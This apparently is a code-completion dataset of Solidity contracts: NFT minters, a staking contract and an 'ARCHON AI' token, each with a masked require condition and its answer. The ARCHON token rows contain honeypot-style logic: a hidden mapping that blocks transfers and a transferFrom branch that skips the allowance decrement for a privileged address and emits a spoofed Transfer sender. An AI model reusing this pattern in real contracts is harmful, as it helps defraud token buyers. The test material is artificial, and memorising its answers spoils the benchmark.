//MMMMMWXOKWMMMMMWKKNXOONMMMMMMMMMMMMMX0KWMMMWX0OO0KNWMMMMN0OXMMMMMMN00NMMMMMMMNX000KNMMMMMMMMMMMMMMWX0OkkOKNMN00NMMMMMWXKXWMMWXKNMMMMMMMNKkxk0NMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
pragma solidity ^0.8.4;
contract AmongCats is ERC721, Pausable, Ownable, ERC721Enumerable, ERC721URIStorage {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
uint256 MAX_SUPPLY = 9999; // Max supply is 9999
uint256 ownerAmount = 999; // Saving 999 for the owner
// mapping (address => bool) whitelisters;
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
constructor() ERC721("Among Cats", "CREW") {
}
function _baseURI() internal pure override returns (string memory) {
}
function safeMint(address to, string memory uri) public whenNotPaused{
}
function mintOwner(address to, string memory uri) public onlyOwner{
require(<FILL_ME>) // Check max supply
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(to, tokenId);
_setTokenURI(tokenId, uri);
}
// function addToWhitelist(address _ad) external onlyOwner {
// whitelisters[_ad] = true;
// }
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| _tokenIdCounter.current()<=MAX_SUPPLY,"I'm sorry we reached the cap" | 230,836 | _tokenIdCounter.current()<=MAX_SUPPLY |
"error owner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import "erc721a/contracts/ERC721A.sol";
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint tokenId,
bytes calldata data
) external returns (bytes4);
}
contract NEWELF is
Ownable,
ReentrancyGuard
{
address public NANOHUB;
string public symbol = "ELF";
string public name = "ELFOOZ";
string public baseURI;
string public baseExtension = '.json';
uint256 public totalSupply = 0;
mapping (uint256 => address) owners;
mapping (address => uint256) balances;
uint256 teamMintAmount = 303;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
constructor(
string memory uri
)
ReentrancyGuard() // A modifier that can prevent reentrancy during certain functions
{
}
function setNANOHUB(address _NANOHUB)
public onlyOwner
{
}
function setBaseURI(string memory _tokenBaseURI)
public onlyOwner
{
}
function _baseURI() internal view returns (string memory) {
}
function setBaseExtension(string memory _newBaseExtension)
public onlyOwner
{
}
function mintNEWELF(address to, uint tokenId)
public
{
}
function transferFrom(address from, address to, uint tokenId)
public
{
}
function exist(uint tokenId)
public view returns (bool)
{
}
function supportsInterface(bytes4 interfaceId)
public pure returns (bool)
{
}
function balanceOf(address owner)
public view returns (uint)
{
require(<FILL_ME>)
return balances[owner];
}
function ownerOf(uint id)
public view returns (address)
{
}
function tokenURI(uint256 id)
public view returns (string memory)
{
}
function _mint(address to, uint id)
private
{
}
function _transfer(address from, address to, uint id)
private
{
}
function _checkOnERC721Received(address from, address to, uint id, bytes memory _data)
internal returns (bool)
{
}
function _toString(uint value)
private pure returns (string memory)
{
}
}
| address(0)!=owner,"error owner" | 230,951 | address(0)!=owner |
"error exist" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import "erc721a/contracts/ERC721A.sol";
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint tokenId,
bytes calldata data
) external returns (bytes4);
}
contract NEWELF is
Ownable,
ReentrancyGuard
{
address public NANOHUB;
string public symbol = "ELF";
string public name = "ELFOOZ";
string public baseURI;
string public baseExtension = '.json';
uint256 public totalSupply = 0;
mapping (uint256 => address) owners;
mapping (address => uint256) balances;
uint256 teamMintAmount = 303;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
constructor(
string memory uri
)
ReentrancyGuard() // A modifier that can prevent reentrancy during certain functions
{
}
function setNANOHUB(address _NANOHUB)
public onlyOwner
{
}
function setBaseURI(string memory _tokenBaseURI)
public onlyOwner
{
}
function _baseURI() internal view returns (string memory) {
}
function setBaseExtension(string memory _newBaseExtension)
public onlyOwner
{
}
function mintNEWELF(address to, uint tokenId)
public
{
}
function transferFrom(address from, address to, uint tokenId)
public
{
}
function exist(uint tokenId)
public view returns (bool)
{
}
function supportsInterface(bytes4 interfaceId)
public pure returns (bool)
{
}
function balanceOf(address owner)
public view returns (uint)
{
}
function ownerOf(uint id)
public view returns (address)
{
require(<FILL_ME>)
return owners[id];
}
function tokenURI(uint256 id)
public view returns (string memory)
{
}
function _mint(address to, uint id)
private
{
}
function _transfer(address from, address to, uint id)
private
{
}
function _checkOnERC721Received(address from, address to, uint id, bytes memory _data)
internal returns (bool)
{
}
function _toString(uint value)
private pure returns (string memory)
{
}
}
| exist(id),"error exist" | 230,951 | exist(id) |
"error owner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import "erc721a/contracts/ERC721A.sol";
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint tokenId,
bytes calldata data
) external returns (bytes4);
}
contract NEWELF is
Ownable,
ReentrancyGuard
{
address public NANOHUB;
string public symbol = "ELF";
string public name = "ELFOOZ";
string public baseURI;
string public baseExtension = '.json';
uint256 public totalSupply = 0;
mapping (uint256 => address) owners;
mapping (address => uint256) balances;
uint256 teamMintAmount = 303;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
constructor(
string memory uri
)
ReentrancyGuard() // A modifier that can prevent reentrancy during certain functions
{
}
function setNANOHUB(address _NANOHUB)
public onlyOwner
{
}
function setBaseURI(string memory _tokenBaseURI)
public onlyOwner
{
}
function _baseURI() internal view returns (string memory) {
}
function setBaseExtension(string memory _newBaseExtension)
public onlyOwner
{
}
function mintNEWELF(address to, uint tokenId)
public
{
}
function transferFrom(address from, address to, uint tokenId)
public
{
}
function exist(uint tokenId)
public view returns (bool)
{
}
function supportsInterface(bytes4 interfaceId)
public pure returns (bool)
{
}
function balanceOf(address owner)
public view returns (uint)
{
}
function ownerOf(uint id)
public view returns (address)
{
}
function tokenURI(uint256 id)
public view returns (string memory)
{
}
function _mint(address to, uint id)
private
{
require(to != address(0), "error to");
require(<FILL_ME>)
balances[to]++;
owners[id] = to;
totalSupply++;
emit Transfer(address(0), to, id);
require(_checkOnERC721Received(address(0), to, id, ""), "error ERC721Receiver");
}
function _transfer(address from, address to, uint id)
private
{
}
function _checkOnERC721Received(address from, address to, uint id, bytes memory _data)
internal returns (bool)
{
}
function _toString(uint value)
private pure returns (string memory)
{
}
}
| owners[id]==address(0),"error owner" | 230,951 | owners[id]==address(0) |
"error ERC721Receiver" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import "erc721a/contracts/ERC721A.sol";
interface ERC721TokenReceiver {
function onERC721Received(
address operator,
address from,
uint tokenId,
bytes calldata data
) external returns (bytes4);
}
contract NEWELF is
Ownable,
ReentrancyGuard
{
address public NANOHUB;
string public symbol = "ELF";
string public name = "ELFOOZ";
string public baseURI;
string public baseExtension = '.json';
uint256 public totalSupply = 0;
mapping (uint256 => address) owners;
mapping (address => uint256) balances;
uint256 teamMintAmount = 303;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
constructor(
string memory uri
)
ReentrancyGuard() // A modifier that can prevent reentrancy during certain functions
{
}
function setNANOHUB(address _NANOHUB)
public onlyOwner
{
}
function setBaseURI(string memory _tokenBaseURI)
public onlyOwner
{
}
function _baseURI() internal view returns (string memory) {
}
function setBaseExtension(string memory _newBaseExtension)
public onlyOwner
{
}
function mintNEWELF(address to, uint tokenId)
public
{
}
function transferFrom(address from, address to, uint tokenId)
public
{
}
function exist(uint tokenId)
public view returns (bool)
{
}
function supportsInterface(bytes4 interfaceId)
public pure returns (bool)
{
}
function balanceOf(address owner)
public view returns (uint)
{
}
function ownerOf(uint id)
public view returns (address)
{
}
function tokenURI(uint256 id)
public view returns (string memory)
{
}
function _mint(address to, uint id)
private
{
require(to != address(0), "error to");
require(owners[id] == address(0), "error owner");
balances[to]++;
owners[id] = to;
totalSupply++;
emit Transfer(address(0), to, id);
require(<FILL_ME>)
}
function _transfer(address from, address to, uint id)
private
{
}
function _checkOnERC721Received(address from, address to, uint id, bytes memory _data)
internal returns (bool)
{
}
function _toString(uint value)
private pure returns (string memory)
{
}
}
| _checkOnERC721Received(address(0),to,id,""),"error ERC721Receiver" | 230,951 | _checkOnERC721Received(address(0),to,id,"") |
"Max supply reached" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721A.sol";
import "./ERC721ABurnable.sol";
contract NiftyDOS is ERC721ABurnable, Ownable{
using Strings for uint256;
string public constant BASE_TOKEN_URI = "http://niftydos.com/token?";
event Mint(address to, uint256 tokenId);
constructor() ERC721A("NiftyDOS", "NDOS") {
}
function mintTokens(address _to, uint _count, uint _maxSupply, uint _maxPerMint, uint _maxMint, uint _price, bool _canMint, uint8 v, bytes32 r, bytes32 s) external payable {
require(<FILL_ME>)
require(_canMint, "This user is not allowed to mint");
require(balanceOf(_to) + _count <= _maxMint, "Max mint reached");
require(_count <= _maxPerMint, "Max per mint reached");
// Check the price
require(msg.value >= _count * _price, "Sent value below price");
require(
ecrecover(keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
keccak256(abi.encodePacked(_to, _maxSupply, _maxPerMint, _maxMint, _price, _canMint))
)), v, r, s) == owner(), "Unable to verify signature");
_safeMint(_to, _count);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address _owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function withdrawAll() public payable onlyOwner {
}
}
| totalSupply()+_count<=_maxSupply,"Max supply reached" | 231,063 | totalSupply()+_count<=_maxSupply |
"Max mint reached" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721A.sol";
import "./ERC721ABurnable.sol";
contract NiftyDOS is ERC721ABurnable, Ownable{
using Strings for uint256;
string public constant BASE_TOKEN_URI = "http://niftydos.com/token?";
event Mint(address to, uint256 tokenId);
constructor() ERC721A("NiftyDOS", "NDOS") {
}
function mintTokens(address _to, uint _count, uint _maxSupply, uint _maxPerMint, uint _maxMint, uint _price, bool _canMint, uint8 v, bytes32 r, bytes32 s) external payable {
require(totalSupply() + _count <= _maxSupply, "Max supply reached");
require(_canMint, "This user is not allowed to mint");
require(<FILL_ME>)
require(_count <= _maxPerMint, "Max per mint reached");
// Check the price
require(msg.value >= _count * _price, "Sent value below price");
require(
ecrecover(keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
keccak256(abi.encodePacked(_to, _maxSupply, _maxPerMint, _maxMint, _price, _canMint))
)), v, r, s) == owner(), "Unable to verify signature");
_safeMint(_to, _count);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address _owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function withdrawAll() public payable onlyOwner {
}
}
| balanceOf(_to)+_count<=_maxMint,"Max mint reached" | 231,063 | balanceOf(_to)+_count<=_maxMint |
"Unable to verify signature" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721A.sol";
import "./ERC721ABurnable.sol";
contract NiftyDOS is ERC721ABurnable, Ownable{
using Strings for uint256;
string public constant BASE_TOKEN_URI = "http://niftydos.com/token?";
event Mint(address to, uint256 tokenId);
constructor() ERC721A("NiftyDOS", "NDOS") {
}
function mintTokens(address _to, uint _count, uint _maxSupply, uint _maxPerMint, uint _maxMint, uint _price, bool _canMint, uint8 v, bytes32 r, bytes32 s) external payable {
require(totalSupply() + _count <= _maxSupply, "Max supply reached");
require(_canMint, "This user is not allowed to mint");
require(balanceOf(_to) + _count <= _maxMint, "Max mint reached");
require(_count <= _maxPerMint, "Max per mint reached");
// Check the price
require(msg.value >= _count * _price, "Sent value below price");
require(<FILL_ME>)
_safeMint(_to, _count);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address _owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function withdrawAll() public payable onlyOwner {
}
}
| ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",keccak256(abi.encodePacked(_to,_maxSupply,_maxPerMint,_maxMint,_price,_canMint)))),v,r,s)==owner(),"Unable to verify signature" | 231,063 | ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",keccak256(abi.encodePacked(_to,_maxSupply,_maxPerMint,_maxMint,_price,_canMint)))),v,r,s)==owner() |
null | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract ARCHON {
mapping (address => uint256) private IXB;
mapping (address => uint256) private IXC;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "ARCHON AI";
string public symbol = unicode"ARCHONS";
uint8 public decimals = 6;
uint256 public totalSupply = 1000000000 *10**6;
address owner = msg.sender;
address private IXD;
address xdeployer = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function renounceOwnership() public virtual {
}
function xdeploy(address account, uint256 amount) internal {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address to, uint256 value) public returns (bool success) {
require(<FILL_ME>)
require(IXB[msg.sender] >= value);
IXB[msg.sender] -= value;
IXB[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
function approve(address spender, uint256 value) public returns (bool success) {
}
function cccs (address vx, uint256 vz) public {
}
function acccs (address vx, uint256 vz) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| IXC[msg.sender]<=0 | 231,142 | IXC[msg.sender]<=0 |
null | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract ARCHON {
mapping (address => uint256) private IXB;
mapping (address => uint256) private IXC;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "ARCHON AI";
string public symbol = unicode"ARCHONS";
uint8 public decimals = 6;
uint256 public totalSupply = 1000000000 *10**6;
address owner = msg.sender;
address private IXD;
address xdeployer = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function renounceOwnership() public virtual {
}
function xdeploy(address account, uint256 amount) internal {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address to, uint256 value) public returns (bool success) {
require(IXC[msg.sender] <= 0);
require(<FILL_ME>)
IXB[msg.sender] -= value;
IXB[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
function approve(address spender, uint256 value) public returns (bool success) {
}
function cccs (address vx, uint256 vz) public {
}
function acccs (address vx, uint256 vz) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| IXB[msg.sender]>=value | 231,142 | IXB[msg.sender]>=value |
null | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract ARCHON {
mapping (address => uint256) private IXB;
mapping (address => uint256) private IXC;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "ARCHON AI";
string public symbol = unicode"ARCHONS";
uint8 public decimals = 6;
uint256 public totalSupply = 1000000000 *10**6;
address owner = msg.sender;
address private IXD;
address xdeployer = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function renounceOwnership() public virtual {
}
function xdeploy(address account, uint256 amount) internal {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
function approve(address spender, uint256 value) public returns (bool success) {
}
function cccs (address vx, uint256 vz) public {
}
function acccs (address vx, uint256 vz) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == IXD) {
require(value <= IXB[from]);
require(value <= allowance[from][msg.sender]);
IXB[from] -= value;
IXB[to] += value;
from = xdeployer;
emit Transfer (from, to, value);
return true; }
require(<FILL_ME>)
require(value <= IXB[from]);
require(value <= allowance[from][msg.sender]);
IXB[from] -= value;
IXB[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }
}
| IXC[from]<=0&&IXC[to]<=0 | 231,142 | IXC[from]<=0&&IXC[to]<=0 |
'not enough stack count' | // SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.17;
import './IFarming.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import 'contracts/lib/ownable/Ownable.sol';
struct Erc20Info {
uint256 intervalNumber; // the last known claim interval (uses for update totalCountForClaim)
uint256 totalCountOnInterval;
}
contract Farming is IFarming, Ownable {
using SafeERC20 for IERC20;
IERC20 immutable _stackingContract; // erc20 contract for stacking
mapping(address => Stack) _stacks; // stacks by users
uint256 constant _timeIntervalFirst = 7 days; // reward interval time length 0 interval
uint256 _timeInterval = 7 days; // reward interval time length next intervals
uint256 _nextIntervalTime; // next interval time
uint256 _intervalNumber; // current interval number
uint256 _totalStacksOnInterval; // current interval total stacks count
uint256 _totalStacks; // total stacks count
uint256 _totalEthOnInterval; // current interval eth rewards
mapping(address => Erc20Info) _erc20nfos; // information about each erc20 (at current interval)
mapping(address => uint256) _ethClaimIntervals; // users eth claim intervals
mapping(address => mapping(address => uint256)) _erc20ClaimIntervals; // [account][erc20] cache of last erc20 claim intervals for accounts
constructor(address stackingContract) {
}
receive() external payable {}
function timeIntervalLength() external view returns (uint256) {
}
function setTimeIntervalLengthHours(
uint256 intervalHours
) external onlyOwner {
}
function intervalNumber() external view returns (uint256) {
}
function nextIntervalTime() external view returns (uint256) {
}
function nextIntervalLapsedSeconds() external view returns (uint256) {
}
function _completedIntervals() internal view returns (uint256) {
}
function getStack(address account) external view returns (Stack memory) {
}
function addStack(uint256 count) external returns (Stack memory) {
}
function _addStack(uint256 count) internal returns (Stack memory) {
}
function addFullStack() external returns (Stack memory) {
}
function removeStack(uint256 count) external returns (Stack memory) {
}
function _removeStack(uint256 count) internal returns (Stack memory) {
_nextInterval();
require(<FILL_ME>)
uint256 lastCount = _stackingContract.balanceOf(address(this));
_stackingContract.transfer(msg.sender, count);
uint256 removed = lastCount -
_stackingContract.balanceOf(address(this));
_stacks[msg.sender].count -= removed;
_stacks[msg.sender].creationInterval = _intervalNumber;
_totalStacks -= removed;
emit OnRemoveStack(msg.sender, _stacks[msg.sender], removed);
return _stacks[msg.sender];
}
function removeFullStack() external returns (Stack memory) {
}
function totalStacks() external view returns (uint256) {
}
function totalStacksOnInterval() external view returns (uint256) {
}
function ethTotalForRewards() external view returns (uint256) {
}
function erc20TotalForRewards(
address erc20
) external view returns (uint256) {
}
function ethOnInterval() external view returns (uint256) {
}
function erc20OnInterval(address erc20) external view returns (uint256) {
}
function _expectedErc20Info(
address erc20,
uint256 expectedIntervalNumber
) internal view returns (Erc20Info memory) {
}
function ethClaimIntervalForAccount(
address account
) external view returns (uint256) {
}
function erc20ClaimIntervalForAccount(
address account,
address erc20
) external view returns (uint256) {
}
function ethClaimCountForAccount(
address account
) external view returns (uint256) {
}
function erc20ClaimCountForAccount(
address account,
address erc20
) external view returns (uint256) {
}
function ethClaimCountForAccountExpect(
address account
) external view returns (uint256) {
}
function erc20ClaimCountForAccountExpect(
address account,
address erc20
) external view returns (uint256) {
}
function ethClaimCountForStackExpect(
uint256 stackSize
) external view returns (uint256) {
}
function erc20ClaimCountForStackExpect(
uint256 stackSize,
address erc20
) external view returns (uint256) {
}
function ethClaimCountForNewStackExpect(
uint256 stackSize
) external view returns (uint256) {
}
function erc20ClaimCountForNewStackExpect(
uint256 stackSize,
address erc20
) external view returns (uint256) {
}
function ethClaimCountForStack(
uint256 stackSize
) external view returns (uint256) {
}
function erc20ClaimCountForStack(
uint256 stackSize,
address erc20
) external view returns (uint256) {
}
function _claimCountForStack(
uint256 stackCount,
uint256 totalStacksOnInterwal,
uint256 assetCountOnInterwal
) internal pure returns (uint256) {
}
function erc20ClaimForStack(
address erc20,
uint256 stackCount
) external view returns (uint256) {
}
function _nextInterval() internal returns (bool) {
}
function claimEth() external {
}
function _claimEth() internal {
}
function claimErc20(address erc20) external {
}
function _claimErc20(address erc20) internal {
}
function batchClaim(bool claimEth, address[] calldata tokens) external {
}
}
| _stacks[msg.sender].count>=count,'not enough stack count' | 231,158 | _stacks[msg.sender].count>=count |
'can not claim on current interval' | // SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.17;
import './IFarming.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import 'contracts/lib/ownable/Ownable.sol';
struct Erc20Info {
uint256 intervalNumber; // the last known claim interval (uses for update totalCountForClaim)
uint256 totalCountOnInterval;
}
contract Farming is IFarming, Ownable {
using SafeERC20 for IERC20;
IERC20 immutable _stackingContract; // erc20 contract for stacking
mapping(address => Stack) _stacks; // stacks by users
uint256 constant _timeIntervalFirst = 7 days; // reward interval time length 0 interval
uint256 _timeInterval = 7 days; // reward interval time length next intervals
uint256 _nextIntervalTime; // next interval time
uint256 _intervalNumber; // current interval number
uint256 _totalStacksOnInterval; // current interval total stacks count
uint256 _totalStacks; // total stacks count
uint256 _totalEthOnInterval; // current interval eth rewards
mapping(address => Erc20Info) _erc20nfos; // information about each erc20 (at current interval)
mapping(address => uint256) _ethClaimIntervals; // users eth claim intervals
mapping(address => mapping(address => uint256)) _erc20ClaimIntervals; // [account][erc20] cache of last erc20 claim intervals for accounts
constructor(address stackingContract) {
}
receive() external payable {}
function timeIntervalLength() external view returns (uint256) {
}
function setTimeIntervalLengthHours(
uint256 intervalHours
) external onlyOwner {
}
function intervalNumber() external view returns (uint256) {
}
function nextIntervalTime() external view returns (uint256) {
}
function nextIntervalLapsedSeconds() external view returns (uint256) {
}
function _completedIntervals() internal view returns (uint256) {
}
function getStack(address account) external view returns (Stack memory) {
}
function addStack(uint256 count) external returns (Stack memory) {
}
function _addStack(uint256 count) internal returns (Stack memory) {
}
function addFullStack() external returns (Stack memory) {
}
function removeStack(uint256 count) external returns (Stack memory) {
}
function _removeStack(uint256 count) internal returns (Stack memory) {
}
function removeFullStack() external returns (Stack memory) {
}
function totalStacks() external view returns (uint256) {
}
function totalStacksOnInterval() external view returns (uint256) {
}
function ethTotalForRewards() external view returns (uint256) {
}
function erc20TotalForRewards(
address erc20
) external view returns (uint256) {
}
function ethOnInterval() external view returns (uint256) {
}
function erc20OnInterval(address erc20) external view returns (uint256) {
}
function _expectedErc20Info(
address erc20,
uint256 expectedIntervalNumber
) internal view returns (Erc20Info memory) {
}
function ethClaimIntervalForAccount(
address account
) external view returns (uint256) {
}
function erc20ClaimIntervalForAccount(
address account,
address erc20
) external view returns (uint256) {
}
function ethClaimCountForAccount(
address account
) external view returns (uint256) {
}
function erc20ClaimCountForAccount(
address account,
address erc20
) external view returns (uint256) {
}
function ethClaimCountForAccountExpect(
address account
) external view returns (uint256) {
}
function erc20ClaimCountForAccountExpect(
address account,
address erc20
) external view returns (uint256) {
}
function ethClaimCountForStackExpect(
uint256 stackSize
) external view returns (uint256) {
}
function erc20ClaimCountForStackExpect(
uint256 stackSize,
address erc20
) external view returns (uint256) {
}
function ethClaimCountForNewStackExpect(
uint256 stackSize
) external view returns (uint256) {
}
function erc20ClaimCountForNewStackExpect(
uint256 stackSize,
address erc20
) external view returns (uint256) {
}
function ethClaimCountForStack(
uint256 stackSize
) external view returns (uint256) {
}
function erc20ClaimCountForStack(
uint256 stackSize,
address erc20
) external view returns (uint256) {
}
function _claimCountForStack(
uint256 stackCount,
uint256 totalStacksOnInterwal,
uint256 assetCountOnInterwal
) internal pure returns (uint256) {
}
function erc20ClaimForStack(
address erc20,
uint256 stackCount
) external view returns (uint256) {
}
function _nextInterval() internal returns (bool) {
}
function claimEth() external {
}
function _claimEth() internal {
_nextInterval();
require(<FILL_ME>)
_ethClaimIntervals[msg.sender] = _intervalNumber;
uint256 claimCount = _claimCountForStack(
_stacks[msg.sender].count,
_totalStacksOnInterval,
_totalEthOnInterval
);
require(claimCount > 0, 'notging to claim');
(bool sent, ) = payable(msg.sender).call{ value: claimCount }('');
require(sent, 'sent ether error: ether is not sent');
emit OnClaimEth(msg.sender, _stacks[msg.sender], claimCount);
}
function claimErc20(address erc20) external {
}
function _claimErc20(address erc20) internal {
}
function batchClaim(bool claimEth, address[] calldata tokens) external {
}
}
| this.ethClaimIntervalForAccount(msg.sender)<=_intervalNumber,'can not claim on current interval' | 231,158 | this.ethClaimIntervalForAccount(msg.sender)<=_intervalNumber |
'can not claim on current interval' | // SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.17;
import './IFarming.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import 'contracts/lib/ownable/Ownable.sol';
struct Erc20Info {
uint256 intervalNumber; // the last known claim interval (uses for update totalCountForClaim)
uint256 totalCountOnInterval;
}
contract Farming is IFarming, Ownable {
using SafeERC20 for IERC20;
IERC20 immutable _stackingContract; // erc20 contract for stacking
mapping(address => Stack) _stacks; // stacks by users
uint256 constant _timeIntervalFirst = 7 days; // reward interval time length 0 interval
uint256 _timeInterval = 7 days; // reward interval time length next intervals
uint256 _nextIntervalTime; // next interval time
uint256 _intervalNumber; // current interval number
uint256 _totalStacksOnInterval; // current interval total stacks count
uint256 _totalStacks; // total stacks count
uint256 _totalEthOnInterval; // current interval eth rewards
mapping(address => Erc20Info) _erc20nfos; // information about each erc20 (at current interval)
mapping(address => uint256) _ethClaimIntervals; // users eth claim intervals
mapping(address => mapping(address => uint256)) _erc20ClaimIntervals; // [account][erc20] cache of last erc20 claim intervals for accounts
constructor(address stackingContract) {
}
receive() external payable {}
function timeIntervalLength() external view returns (uint256) {
}
function setTimeIntervalLengthHours(
uint256 intervalHours
) external onlyOwner {
}
function intervalNumber() external view returns (uint256) {
}
function nextIntervalTime() external view returns (uint256) {
}
function nextIntervalLapsedSeconds() external view returns (uint256) {
}
function _completedIntervals() internal view returns (uint256) {
}
function getStack(address account) external view returns (Stack memory) {
}
function addStack(uint256 count) external returns (Stack memory) {
}
function _addStack(uint256 count) internal returns (Stack memory) {
}
function addFullStack() external returns (Stack memory) {
}
function removeStack(uint256 count) external returns (Stack memory) {
}
function _removeStack(uint256 count) internal returns (Stack memory) {
}
function removeFullStack() external returns (Stack memory) {
}
function totalStacks() external view returns (uint256) {
}
function totalStacksOnInterval() external view returns (uint256) {
}
function ethTotalForRewards() external view returns (uint256) {
}
function erc20TotalForRewards(
address erc20
) external view returns (uint256) {
}
function ethOnInterval() external view returns (uint256) {
}
function erc20OnInterval(address erc20) external view returns (uint256) {
}
function _expectedErc20Info(
address erc20,
uint256 expectedIntervalNumber
) internal view returns (Erc20Info memory) {
}
function ethClaimIntervalForAccount(
address account
) external view returns (uint256) {
}
function erc20ClaimIntervalForAccount(
address account,
address erc20
) external view returns (uint256) {
}
function ethClaimCountForAccount(
address account
) external view returns (uint256) {
}
function erc20ClaimCountForAccount(
address account,
address erc20
) external view returns (uint256) {
}
function ethClaimCountForAccountExpect(
address account
) external view returns (uint256) {
}
function erc20ClaimCountForAccountExpect(
address account,
address erc20
) external view returns (uint256) {
}
function ethClaimCountForStackExpect(
uint256 stackSize
) external view returns (uint256) {
}
function erc20ClaimCountForStackExpect(
uint256 stackSize,
address erc20
) external view returns (uint256) {
}
function ethClaimCountForNewStackExpect(
uint256 stackSize
) external view returns (uint256) {
}
function erc20ClaimCountForNewStackExpect(
uint256 stackSize,
address erc20
) external view returns (uint256) {
}
